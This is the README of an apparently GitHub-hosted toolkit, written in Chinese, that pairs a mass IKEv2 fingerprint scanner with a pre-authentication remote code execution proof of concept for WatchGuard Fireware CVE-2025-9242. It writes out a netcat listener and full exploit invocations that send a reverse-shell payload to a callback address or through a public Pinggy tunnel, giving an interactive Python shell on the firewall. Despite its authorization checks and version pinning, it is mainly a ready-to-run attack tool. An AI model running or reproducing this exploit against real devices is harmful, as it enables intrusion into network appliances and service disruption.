UnusualGiraffe/WatchGuard-CVE-2025-9242-PoC-and-Mass-Scanner
GitHub: UnusualGiraffe/WatchGuard-CVE-2025-9242-PoC-and-Mass-Scanner
针对 WatchGuard Fireware CVE-2025-9242 未授权 RCE 漏洞的版本锁定概念验证工具,配套异步批量指纹扫描器,用于授权安全检测。
Stars: 0 | Forks: 0
# watchguard-CVE-2025-9242
用于 WatchGuard Fireware CVE-2025-9242 的授权使用工具,包含两部分:
| 目录 | 用途 | 发送触发器? |
| --- | --- | --- |
| [`scanner/`](scanner) | 仅执行检测,在授权的地址范围内进行 IKEv2 版本/构建暴露评估 | 否 |
| [`exploit/`](exploit) | 针对 Fireware `12.7` build `640389` 的版本锁定概念验证 | 是,需明确确认 |
两者被特意设计为独立的程序。scanner 不包含任何 `IKE_AUTH` 构建器、漏洞触发器、shellcode 或回调逻辑,可以独立使用。除非目标完全匹配已归档的版本/构建配置文件,否则该概念验证程序将拒绝运行。
请仅在您拥有或获得明确授权测试的系统上使用此仓库。参见 [SECURITY.md](SECURITY.md)。
## 从这里开始
```
python3 run.py
```
这就是一个菜单中的全部内容:
```
1) Scan a range for exposed appliances no trigger sent
2) Fingerprint one target no trigger sent
3) Analyze the payload offline no network at all
4) Test the callback relay no target involved
5) Exploit an authorized target SENDS THE TRIGGER
```
选项 1 和 2 可以安全地进行探索;scanner 甚至默认执行对网络无影响的试运行。选项 5 将引导您完成目标选择,首先运行非溢出指纹检测,拒绝任何不符合已归档配置文件的目标,提供为您分配公共回调中继的选项,并要求进行与命令行相同的明确确认。选项 4 用于在实际测试中依赖它之前,验证中继是否正常工作。
菜单本身不添加任何协议逻辑,也无法绕过任何限制关卡——它只是填充了下文记录的相同命令行界面。如果您倾向于使用标志而不是提示符,所有操作仍可直接使用。
## 布局
```
run.py interactive front end for both components
scanner/
wg_ike_mass_scanner.py detection-only asynchronous IPv4 scanner
tests/ offline unit tests and an offline benchmark
exploit/
wg_cve_2025_9242.py detect / analyze / exploit command-line interface
engine.py IKEv2 protocol and exploit engine, 12.7-640389 pinned
requirements.txt pinned third-party dependencies
tests/ offline unit tests
tests/ offline tests for the front end's safety gates
```
## 要求
`run.py` 和 scanner 仅需 Python 3.11 或更高版本以及标准库。菜单选项 1 和 2 在未安装任何额外组件的情况下即可运行。
该概念验证程序还需要在 x86-64 架构上运行的 Linux、适用于 amd64 的 GNU binutils(pwntools 用于汇编运行时回调),以及锁定的依赖项:
```
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -r exploit/requirements.txt
```
`exploit --tunnel pinggy` 还需要 OpenSSH 客户端和 `sshpass`。
## `scanner/` — 检测
scanner 会对每个选定的地址和端口发送一个普通的、非溢出的 IKEv2 `IKE_SA_INIT` 请求,然后解析明文响应中返回的任何 WatchGuard 供应商版本/构建指纹。
### 存在意义
在实际环境中,安全团队可能需要负责数以千计的面向互联网的设备。资产清单会发生偏移,VPN 端点会变动,而关键的安全公告为识别需要所有者验证或修补的系统创造了短暂的时间窗口。此 scanner 可将授权的地址范围转化为集中的修复队列,而无需对目标进行身份验证或实施漏洞利用。匹配结果只是一个分诊线索,不能作为设备型号、易受攻击配置或可利用性的证明。
### 特性
- 交互式默认范围或自定义范围菜单
- 自定义 CIDR、单个 IPv4 地址或包含起止的范围
- 默认使用 UDP/500;可选 UDP/500 和 UDP/4500
- 大约在三秒内快速将速率提升至 `250 -> 500 -> 1,000 -> 2,000` pps
- 严格的 2,000 总探测数/秒上限
- 流式地址扩展和有界的未决状态
- 默认提供美观的终端显示,并提供静默和详细备选方案
- 换行符分隔的 JSON 结果和摘要
- 网络执行前的明确授权确认
- 仅使用 Python 标准库的实现
打包的默认范围是为了方便选择范围而提供的,并不代表授权声明。在扫描之前,请确认每个选定的地址均已获得授权。
### 快速开始
交互式菜单默认执行对网络无影响的试运行:
```
cd scanner
python3 wg_ike_mass_scanner.py
```
在不创建 socket 的情况下预览自定义范围和两个 IKE 端口:
```
python3 wg_ike_mass_scanner.py \
--range 192.0.2.0/24 \
--ports 500,4500 \
--dry-run
```
授权的网络执行:
```
python3 wg_ike_mass_scanner.py \
--range 192.0.2.0/24 \
--ack-authorized
```
该确认表示已验证每个选定的地址均已获得授权。它不会替您执行所有权或交战规则的查找。
### 速率行为
```
0-1 seconds: 250 pps
1-2 seconds: 500 pps
2-3 seconds: 1,000 pps
after 3 seconds: 2,000 pps
```
`--max-rate` 可以选择更低的上限,而 `--ramp-seconds` 可以减缓爬升速度。高于 2,000 pps 的值将被拒绝。该速率是指每秒的总探测数,而不是每秒的地址数;选择两个端口会使探测数量翻倍。
### 输出
与终端详细程度无关,scanner 会写入 JSONL,其中包含一条 `scan_start` 记录、每个响应对应一条结果记录,以及一条 `scan_summary` 记录。超时会计入摘要中,而不是按地址写入。
可能出现的仅包含版本的状态包括:
- `EXACT_PROFILE_EXPOSURE`: Fireware `12.7`, build `640389`
- `AFFECTED_VERSION_EXPOSURE`
- `RESOLVED_VERSION`
- `WATCHGUARD_VERSION_UNPARSED`
- `WATCHGUARD_VERSION_REQUIRES_OWNER_REVIEW`
- `IKE_RESPONSE_NO_WATCHGUARD_FINGERPRINT`
超时不能证明目标已被修补。版本指纹并不能证明设备型号、相关的 VPN 配置或可利用性。
## `exploit/` — 锁定版本的概念验证
这是一个针对 M270 设备配置文件上的 Fireware `12.7` build `640389` 的主动式预认证远程代码执行概念验证。即使回调未到达,成功的漏洞利用也可能中断 IKE 服务。
scanner 返回的 `EXACT_PROFILE_EXPOSURE` 状态是此概念验证唯一适用的状态。任何其他的 scanner 结果均不在其范围内,并且该工具在发送任何内容之前会自行重新验证实时指纹。
### `detect`
执行一次非溢出的 `IKE_SA_INIT` 交换;读取供应商版本/构建指纹,并报告其是否与已归档的配置文件完全匹配。它不会发送 513 字节的漏洞触发器。
```
cd exploit
python3 wg_cve_2025_9242.py detect --rhost 192.0.2.10 --rport 500
```
使用 `--json` 以获取机器可读的输出。
### `analyze`
完全离线运行。使用文档记录的回调地址构建 reverse-shell payload,检查确切的配置文件常量和 payload 布局,并打印 shellcode/payload 的大小和 SHA-256 哈希值。
```
python3 wg_cve_2025_9242.py analyze
python3 wg_cve_2025_9242.py analyze --callback-ip 192.0.2.20 --callback-port 4444
```
### `exploit`
从相同的非溢出确切版本/构建检测开始。除非实时指纹为 `12.7` / `640389`、提供了两个明确的安全限制关卡且回调地址为 IPv4 地址,否则它将拒绝继续执行。
首先启动一个监听器:
```
nc -lvnp 4444
```
然后,针对已授权的目标执行:
```
python3 wg_cve_2025_9242.py exploit \
--rhost 192.0.2.10 \
--rport 500 \
--callback-ip 192.0.2.20 \
--callback-port 4444 \
--confirm-profile 12.7-640389 \
--acknowledge-service-interruption
```
### `exploit --tunnel pinggy`
设备会向可路由的地址进行回拨,因此位于 NAT 后面的测试人员需要一个公共入口。`--tunnel pinggy` 会在运行时分配一个入口:它绑定一个 loopback 监听器,打开一个连接到免费 Pinggy 服务的 SSH TCP 中继,将分配的 endpoint 解析为 IPv4,根据该地址构建 payload,将其发送,然后将回调桥接到当前终端。此仓库中没有存储任何中继的主机名、端口或账户资料——该 endpoint 是临时的,每次运行时分配。
```
python3 wg_cve_2025_9242.py exploit \
--rhost 192.0.2.10 \
--rport 500 \
--tunnel pinggy \
--confirm-profile 12.7-640389 \
--acknowledge-service-interruption
```
`--listen-port`(默认为 4444)选择中继转发的 loopback 端口,`--callback-wait`(默认为 180)限制等待回调的时间。使用 `--tunnel` 时,必须省略 `--callback-ip` / `--callback-port`;如果不使用该参数,则两者都是必需的,并且您需要自行启动监听器。目标必须能够访问中继的公共地址。
回调以通用的 `uid` / `euid` 标语开始,然后暴露设备的 `/usr/bin/python` 交互式解释器。漏洞利用的发送和回调的成功是相互独立的事实:发送后的超时是预期行为,并不能证明 reverse shell 已连接。使用 `--tunnel` 时,退出状态反映了回调本身——只有在真正连接成功时才为 `0`。
## 离线验证
以下所有内容均对网络无影响:
```
python3 -m unittest discover -s tests -v
python3 -m unittest discover -s scanner/tests -v
python3 scanner/tests/benchmark_offline.py
python3 scanner/wg_ike_mass_scanner.py --default-range --dry-run
PYTHONPATH=exploit python3 -m unittest discover -s exploit/tests -v
python3 exploit/wg_cve_2025_9242.py analyze
sha256sum -c MANIFEST.sha256
```
GitHub Actions 工作流会运行这些检查。网络扫描和漏洞利用发送绝对不会作为 CI 的一部分。
## 许可证状态
不包含任何开源许可证。在发布或重新分发之前,请参阅 [LICENSE-STATUS.md](LICENSE-STATUS.md)。
## 参考
- [WatchGuard 安全公告 WGSA-2025-00015](https://www.watchguard.com/wgrd-psirt/advisory/wgsa-2025-00015)
- [NVD CVE-2025-9242](https://nvd.nist.gov/vuln/detail/CVE-2025-9242)
- [watchTowr Labs CVE-2025-9242 研究](https://github.com/watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242)
- RFC 7296: Internet Key Exchange Protocol Version 2
- RFC 7383: IKEv2 Message Fragmentation
- RFC 3948: UDP Encapsulation of IPsec ESP Packets
标签:CISA项目, Python, 无后门, 逆向工具